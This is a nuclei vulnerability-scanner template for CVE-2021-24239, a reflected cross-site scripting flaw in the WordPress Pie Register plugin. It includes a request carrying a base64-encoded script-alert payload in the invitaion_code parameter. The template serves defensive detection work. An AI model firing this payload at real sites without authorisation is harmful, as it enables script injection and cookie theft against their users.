nuclei-templates/http/cves/2021/CVE-2021-24239.yaml

57 lines
2.4 KiB
YAML
Raw Normal View History

2023-03-31 11:28:24 +00:00
id: CVE-2021-24239
info:
name: WordPress Pie Register <3.7.0.1 - Cross-Site Scripting
2023-03-31 11:28:24 +00:00
author: r3Y3r53
severity: medium
description: |
WordPress Pie Register plugin before 3.7.0.1 is susceptible to cross-site scripting. The plugin does not sanitize the invitaion_code GET parameter when outputting it in the Activation Code page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the victim's browser, potentially allowing an attacker to steal sensitive information or perform actions on behalf of the victim.
2023-09-06 12:09:01 +00:00
remediation: Fixed in version 3.7.0.1.
2023-03-31 11:28:24 +00:00
reference:
- https://wpscan.com/vulnerability/f1b67f40-642f-451e-a67a-b7487918ee34
- https://plugins.trac.wordpress.org/changeset/2507536/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24239
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24239
cwe-id: CWE-79
epss-score: 0.00129
2024-05-31 19:23:20 +00:00
epss-percentile: 0.47703
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
2023-03-31 11:28:24 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: genetechsolutions
product: "pie_register"
2023-09-06 12:09:01 +00:00
framework: wordpress
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,xss,pie-register,wp,wpscan,genetechsolutions,wordpress
2024-03-26 17:26:22 +00:00
flow: http(1) && http(2)
http:
2024-03-26 17:26:22 +00:00
- raw:
- |
GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Pie Register'
- 'Tags:'
condition: and
2023-03-31 11:28:24 +00:00
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin.php?page=pr_new_registration_form&show_dash_widget=1&invitaion_code=PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg=="
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "<script>alert(document.domain);</script>") && contains(body, "invitaion-code-table")'
condition: and
# digest: 4a0a00473045022100fc813864a3856748a3f6df4825141b5e8d943b2dbcd51a877b78612ef4d43108022007893dc29f5096e4bb9118fb0f5bacb6f280a3e41bada7e9f6ec6393b2a45382:922c64590222798bb761d5b6d8e72950